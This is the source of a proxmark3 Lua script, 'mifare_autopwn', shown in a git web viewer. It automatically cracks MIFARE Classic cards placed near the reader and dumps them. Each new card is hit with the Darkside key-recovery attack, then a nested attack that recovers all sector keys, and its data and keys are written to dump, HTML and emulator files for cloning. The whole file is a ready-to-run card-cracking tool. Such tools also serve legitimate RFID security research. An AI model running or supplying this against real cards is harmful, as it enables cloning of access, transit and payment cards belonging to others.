git.zerfleddert.de Git - proxmark3-svn/blob - client/scripts/mifare_autopwn.lua

   1 local getopt = require('getopt')
   2 local reader = require('read14a')
   3 local cmds = require('commands')
   4
   5 example = "script run mifare_autopwn"
   6 author = "Martin Holst Swende"
   7
   8
   9 desc =
  10 [[
  11 This is a script which automates cracking and dumping mifare classic cards. It sets itself into
  12 'listening'-mode, after which it cracks and dumps any mifare classic card that you
  13 place by the device.
  14
  15 Arguments:
  16         -d                              debug logging on
  17         -h                              this help
  18
  19 Output files from this operation:
  20         <uid>.eml               - emulator file
  21         <uid>.html              - html file containing card data
  22         dumpkeys.bin    - keys are dumped here. OBS! This file is volatile, as other commands overwrite it sometimes.
  23         dumpdata.bin    - card data in binary form. OBS! This file is volatile, as other commands (hf mf dump) overwrite it.
  24
  25 ]]
  26
  27 -------------------------------
  28 -- Some utilities
  29 -------------------------------
  30 local DEBUG = false
  31 ---
  32 -- A debug printout-function
  33 function dbg(args)
  34         if DEBUG then
  35                 print(":: ", args)
  36         end
  37 end
  38 ---
  39 -- This is only meant to be used when errors occur
  40 function oops(err)
  41         print("ERROR: ",err)
  42         return nil,err
  43 end
  44
  45 ---
  46 -- Usage help
  47 function help()
  48         print(desc)
  49         print("Example usage")
  50         print(example)
  51 end
  52
  53 ---
  54 -- Waits for a mifare card to be placed within the vicinity of the reader.
  55 -- @return if successfull: an table containing card info
  56 -- @return if unsuccessfull : nil, error
  57 function wait_for_mifare()
  58         while not core.ukbhit() do
  59                 res, err = reader.read1443a()
  60                 if res then return res end
  61                 -- err means that there was no response from card
  62         end
  63         return nil, "Aborted by user"
  64 end
  65
  66 function nested(key,sak)
  67         local typ = 1
  68         if 0x18 == sak then --NXP MIFARE Classic 4k | Plus 4k
  69                 typ = 4
  70         elseif 0x08 == sak then -- NXP MIFARE CLASSIC 1k | Plus 2k
  71                 typ= 1
  72         elseif 0x09 == sak then -- NXP MIFARE Mini 0.3k
  73                 typ = 0
  74         elseif  0x10 == sak then-- "NXP MIFARE Plus 2k"
  75                 typ = 2
  76         elseif  0x01 == sak then-- "NXP MIFARE TNP3xxx 1K"
  77                 typ = 1
  78         else
  79                 print("I don't know how many sectors there are on this type of card, defaulting to 16")
  80         end
  81         local cmd = string.format("hf mf nested %d 0 A %s d",typ,key)
  82         core.console(cmd)
  83 end
  84
  85 function dump(uid)
  86         core.console("hf mf dump")
  87         -- Save the global args, those are *our* arguments
  88         local myargs = args
  89         -- Set the arguments for htmldump script
  90         args =("-o %s.html"):format(uid)
  91         -- call it
  92         require('../scripts/htmldump')
  93
  94         args =""
  95         -- dump to emulator
  96         require('../scripts/dumptoemul')
  97         -- Set back args. Not that it's used, just for the karma...
  98         args = myargs
  99 end
 100
 101 ---
 102 -- The main entry point
 103 function main(args)
 104
 105
 106         local verbose, exit,res,uid,err,_,sak
 107         local seen_uids = {}
 108
 109         -- Read the parameters
 110         for o, a in getopt.getopt(args, 'hd') do
 111                 if o == "h" then help() return end
 112                 if o == "d" then DEBUG = true end
 113         end
 114
 115         while not exit do
 116                 res, err = wait_for_mifare()
 117                 if err then return oops(err) end
 118                 -- Seen already?
 119                 uid = res.uid
 120                 sak = res.sak
 121                 if not seen_uids[uid] then
 122                         -- Store it
 123                         seen_uids[uid] = uid
 124                         print("Card found, commencing crack", uid)
 125                         -- Crack it
 126                         local key, cnt
 127                         err, res = core.mfDarkside()
 128                         if     err == -1 then return oops("Button pressed. Aborted.")
 129                         elseif err == -2 then return oops("Card is not vulnerable to Darkside attack (doesn't send NACK on authentication requests).")
 130                         elseif err == -3 then return oops("Card is not vulnerable to Darkside attack (its random number generator is not predictable).")
 131                         elseif err == -4 then return oops([[
 132 Card is not vulnerable to Darkside attack (its random number generator seems to be based on the wellknown
 133 generating polynomial with 16 effective bits only, but shows unexpected behaviour.]])
 134                         elseif err == -5 then return oops("Aborted via keyboard.")
 135                         end
 136                         -- The key is actually 8 bytes, so a
 137                         -- 6-byte key is sent as 00XXXXXX
 138                         -- This means we unpack it as first
 139                         -- two bytes, then six bytes actual key data
 140                         -- We can discard first and second return values
 141                         _,_,key = bin.unpack("H2H6",res)
 142                         print("Key ", key)
 143
 144                         -- Use nested attack
 145                         nested(key,sak)
 146                         -- Dump info
 147                         dump(uid)
 148                 end
 149         end
 150 end
 151
 152 -- Call the main
 153 main(args)